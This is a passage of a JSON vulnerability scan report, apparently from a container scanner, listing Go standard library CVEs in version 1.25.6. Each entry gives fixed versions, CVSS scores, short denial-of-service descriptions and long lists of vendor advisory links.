"https://access.redhat.com/errata/RHSA-2026:19134", "https://access.redhat.com/errata/RHSA-2026:19135", "https://access.redhat.com/errata/RHSA-2026:19136", "https://access.redhat.com/errata/RHSA-2026:19137", "https://access.redhat.com/errata/RHSA-2026:19139", "https://access.redhat.com/errata/RHSA-2026:19144", "https://access.redhat.com/errata/RHSA-2026:19156", "https://access.redhat.com/errata/RHSA-2026:19350", "https://access.redhat.com/errata/RHSA-2026:19351", "https://access.redhat.com/errata/RHSA-2026:19352", "https://access.redhat.com/errata/RHSA-2026:19353", "https://access.redhat.com/errata/RHSA-2026:19369", "https://access.redhat.com/errata/RHSA-2026:19450", "https://access.redhat.com/errata/RHSA-2026:19550", "https://access.redhat.com/errata/RHSA-2026:19634", "https://access.redhat.com/errata/RHSA-2026:19714", "https://access.redhat.com/errata/RHSA-2026:19715", "https://access.redhat.com/errata/RHSA-2026:19719", "https://access.redhat.com/errata/RHSA-2026:19720", "https://access.redhat.com/errata/RHSA-2026:19721", "https://access.redhat.com/errata/RHSA-2026:19722", "https://access.redhat.com/errata/RHSA-2026:19750", "https://access.redhat.com/errata/RHSA-2026:19839", "https://access.redhat.com/errata/RHSA-2026:20556", "https://access.redhat.com/errata/RHSA-2026:20569", "https://access.redhat.com/errata/RHSA-2026:20570", "https://access.redhat.com/errata/RHSA-2026:20571", "https://access.redhat.com/errata/RHSA-2026:20607", "https://access.redhat.com/errata/RHSA-2026:20608", "https://access.redhat.com/errata/RHSA-2026:20609", "https://access.redhat.com/errata/RHSA-2026:21769", "https://access.redhat.com/errata/RHSA-2026:22347", "https://access.redhat.com/errata/RHSA-2026:22423", "https://access.redhat.com/errata/RHSA-2026:22450", "https://access.redhat.com/errata/RHSA-2026:22485", "https://access.redhat.com/errata/RHSA-2026:22709", "https://access.redhat.com/errata/RHSA-2026:22713", "https://access.redhat.com/errata/RHSA-2026:22714", "https://access.redhat.com/errata/RHSA-2026:22937", "https://access.redhat.com/errata/RHSA-2026:23102", "https://access.redhat.com/errata/RHSA-2026:23103", "https://access.redhat.com/errata/RHSA-2026:23228", "https://access.redhat.com/errata/RHSA-2026:23345", "https://access.redhat.com/errata/RHSA-2026:24337", "https://access.redhat.com/errata/RHSA-2026:24470", "https://access.redhat.com/errata/RHSA-2026:24761", "https://access.redhat.com/errata/RHSA-2026:24762", "https://access.redhat.com/errata/RHSA-2026:25248", "https://access.redhat.com/errata/RHSA-2026:25250", "https://access.redhat.com/errata/RHSA-2026:25251", "https://access.redhat.com/errata/RHSA-2026:25252", "https://access.redhat.com/errata/RHSA-2026:26447", "https://access.redhat.com/errata/RHSA-2026:26571", "https://access.redhat.com/errata/RHSA-2026:26636", "https://access.redhat.com/errata/RHSA-2026:27076", "https://access.redhat.com/errata/RHSA-2026:28038", "https://access.redhat.com/errata/RHSA-2026:28047", "https://access.redhat.com/errata/RHSA-2026:28074", "https://access.redhat.com/errata/RHSA-2026:29035", "https://access.redhat.com/errata/RHSA-2026:29195", "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:29703", "https://access.redhat.com/errata/RHSA-2026:33722", "https://access.redhat.com/errata/RHSA-2026:34192", "https://access.redhat.com/errata/RHSA-2026:34196", "https://access.redhat.com/errata/RHSA-2026:34197", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:39810", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:47712", "https://access.redhat.com/errata/RHSA-2026:47714", "https://access.redhat.com/errata/RHSA-2026:47716", "https://access.redhat.com/errata/RHSA-2026:47719", "https://access.redhat.com/errata/RHSA-2026:47721", "https://access.redhat.com/errata/RHSA-2026:47722", "https://access.redhat.com/errata/RHSA-2026:47910", "https://access.redhat.com/errata/RHSA-2026:48036", "https://access.redhat.com/errata/RHSA-2026:48790", "https://access.redhat.com/errata/RHSA-2026:49509", "https://access.redhat.com/errata/RHSA-2026:49600", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51288", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:55898", "https://access.redhat.com/errata/RHSA-2026:55900", "https://access.redhat.com/errata/RHSA-2026:55901", "https://access.redhat.com/errata/RHSA-2026:55902", "https://access.redhat.com/errata/RHSA-2026:55903", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:57409", "https://access.redhat.com/errata/RHSA-2026:57801", "https://access.redhat.com/errata/RHSA-2026:57802", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65343", "https://access.redhat.com/errata/RHSA-2026:65514", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66084", "https://access.redhat.com/errata/RHSA-2026:66401", "https://access.redhat.com/errata/RHSA-2026:66523", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/errata/RHSA-2026:7291", "https://access.redhat.com/errata/RHSA-2026:7385", "https://access.redhat.com/security/cve/CVE-2026-32283", "https://bugzilla.redhat.com/2445356", "https://bugzilla.redhat.com/2456333", "https://bugzilla.redhat.com/2456338", "https://bugzilla.redhat.com/2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2445356", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456338", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32283", "https://errata.almalinux.org/9/ALSA-2026-29703.html", "https://errata.rockylinux.org/RLSA-2026:29703", "https://go.dev/cl/763767", "https://go.dev/issue/78334", "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "https://linux.oracle.com/cve/CVE-2026-32283.html", "https://linux.oracle.com/errata/ELSA-2026-48790.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-32283", "https://pkg.go.dev/vuln/GO-2026-4870", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32283.json", "https://www.cve.org/CVERecord?id=CVE-2026-32283" ], "PublishedDate": "2026-04-08T02:16:03.58Z", "LastModifiedDate": "2026-09-18T13:17:48.437Z" }, { "VulnerabilityID": "CVE-2026-33811", "VendorIDs": [ "GO-2026-4981" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33811", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:c24a047215a518304b4652a9a2a4cbe09d4da93c56add0493e75c27cc5771fa8", "Title": "net: golang: Go net package: Denial of Service via long CNAME response in LookupCNAME", "Description": "When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash.", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-1341" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:35832", "https://access.redhat.com/errata/RHSA-2026:35993", "https://access.redhat.com/errata/RHSA-2026:35994", "https://access.redhat.com/errata/RHSA-2026:35995", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36617", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36776", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:38504", "https://access.redhat.com/errata/RHSA-2026:39266", "https://access.redhat.com/errata/RHSA-2026:39272", "https://access.redhat.com/errata/RHSA-2026:39319", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39810", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40119", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42048", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42852", "https://access.redhat.com/errata/RHSA-2026:42946", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49703", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:50336", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51057", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:51194", "https://access.redhat.com/errata/RHSA-2026:51341", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54168", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54500", "https://access.redhat.com/errata/RHSA-2026:54552", "https://access.redhat.com/errata/RHSA-2026:54556", "https://access.redhat.com/errata/RHSA-2026:54584", "https://access.redhat.com/errata/RHSA-2026:54602", "https://access.redhat.com/errata/RHSA-2026:54603", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56785", "https://access.redhat.com/errata/RHSA-2026:56789", "https://access.redhat.com/errata/RHSA-2026:56790", "https://access.redhat.com/errata/RHSA-2026:56852", "https://access.redhat.com/errata/RHSA-2026:56855", "https://access.redhat.com/errata/RHSA-2026:56910", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:56913", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57488", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59559", "https://access.redhat.com/errata/RHSA-2026:60018", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60302", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:61313", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:67149", "https://access.redhat.com/errata/RHSA-2026:67287", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/security/cve/CVE-2026-33811", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-39319.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/767860", "https://go.dev/issue/78803", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-33811.html", "https://linux.oracle.com/errata/ELSA-2026-65886-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33811", "https://pkg.go.dev/vuln/GO-2026-4981", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33811.json", "https://www.cve.org/CVERecord?id=CVE-2026-33811" ], "PublishedDate": "2026-05-07T20:16:42.77Z", "LastModifiedDate": "2026-10-26T00:10:00.15Z" }, { "VulnerabilityID": "CVE-2026-33814", "VendorIDs": [ "GO-2026-4918" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33814", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:48c536af6935b8d01371c4ddfb35b2ce379eb6d5d331f6a9aa5ba93774709b9c", "Title": "net/http/internal/http2: golang: golang.org/x/net: Go HTTP/2: Denial of Service via malformed SETTINGS_MAX_FRAME_SIZE frame", "Description": "When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.", "Severity": "HIGH", "CweIDs": [ "CWE-835", "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57365", "https://access.redhat.com/errata/RHSA-2026:57367", "https://access.redhat.com/errata/RHSA-2026:57408", "https://access.redhat.com/errata/RHSA-2026:57545", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60441", "https://access.redhat.com/errata/RHSA-2026:60442", "https://access.redhat.com/errata/RHSA-2026:60446", "https://access.redhat.com/errata/RHSA-2026:60447", "https://access.redhat.com/errata/RHSA-2026:60454", "https://access.redhat.com/errata/RHSA-2026:60477", "https://access.redhat.com/errata/RHSA-2026:60478", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:60668", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62410", "https://access.redhat.com/errata/RHSA-2026:62550", "https://access.redhat.com/errata/RHSA-2026:62551", "https://access.redhat.com/errata/RHSA-2026:63046", "https://access.redhat.com/errata/RHSA-2026:63047", "https://access.redhat.com/errata/RHSA-2026:63048", "https://access.redhat.com/errata/RHSA-2026:63050", "https://access.redhat.com/errata/RHSA-2026:63091", "https://access.redhat.com/errata/RHSA-2026:63096", "https://access.redhat.com/errata/RHSA-2026:63097", "https://access.redhat.com/errata/RHSA-2026:63103", "https://access.redhat.com/errata/RHSA-2026:63104", "https://access.redhat.com/errata/RHSA-2026:63636", "https://access.redhat.com/errata/RHSA-2026:63637", "https://access.redhat.com/errata/RHSA-2026:63639", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/security/cve/CVE-2026-33814", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467810", "https://bugzilla.redhat.com/show_bug.cgi?id=2467811", "https://bugzilla.redhat.com/show_bug.cgi?id=2467813", "https://bugzilla.redhat.com/show_bug.cgi?id=2467815", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467823", "https://bugzilla.redhat.com/show_bug.cgi?id=2467825", "https://bugzilla.redhat.com/show_bug.cgi?id=2467826", "https://bugzilla.redhat.com/show_bug.cgi?id=2467827", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33814", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39819", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39825", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39836", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42501", "https://errata.almalinux.org/9/ALSA-2026-22121.html", "https://errata.rockylinux.org/RLSA-2026:22121", "https://github.com/golang/go/issues/78476", "https://go-review.googlesource.com/c/go/+/761581", "https://go-review.googlesource.com/c/net/+/761640", "https://go.dev/cl/761581", "https://go.dev/cl/761640", "https://go.dev/issue/78476", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-33814.html", "https://linux.oracle.com/errata/ELSA-2026-22121.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33814", "https://pkg.go.dev/vuln/GO-2026-4918", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33814.json", "https://ubuntu.com/security/notices/USN-8430-1", "https://ubuntu.com/security/notices/USN-8471-1", "https://ubuntu.com/security/notices/USN-8472-1", "https://ubuntu.com/security/notices/USN-8473-1", "https://www.cve.org/CVERecord?id=CVE-2026-33814" ], "PublishedDate": "2026-05-07T20:16:42.88Z", "LastModifiedDate": "2026-10-26T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-33818", "VendorIDs": [ "GO-2026-5972" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33818", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:1b949fe61d34aba95211fe1b88e6a92f60c1a9e96989fa46cb72d9a282f7d3a3", "Title": "encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal", "Description": "Enforce a recursion limit in Unmarshal to prevent stack exhaustion when parsing deeply-nested, recursive structures.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-33818", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://github.com/golang/go/issues/80405", "https://go.dev/cl/814980", "https://go.dev/issue/80405", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-33818.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33818", "https://pkg.go.dev/vuln/GO-2026-5972", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-33818" ], "PublishedDate": "2026-08-13T22:17:19.84Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-39820", "VendorIDs": [ "GO-2026-4986" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.25.10, 1.26.3", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39820", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:2b8573d2dc5f2d18f7aaad30d1a9fa5e082e8fb0a0b93c0f52d5577e9946d160", "Title": "net/mail: golang: Go net/mail: Denial of Service via crafted email inputs", "Description": "Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.", "Severity": "HIGH", "CweIDs": [ "CWE-770", "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": 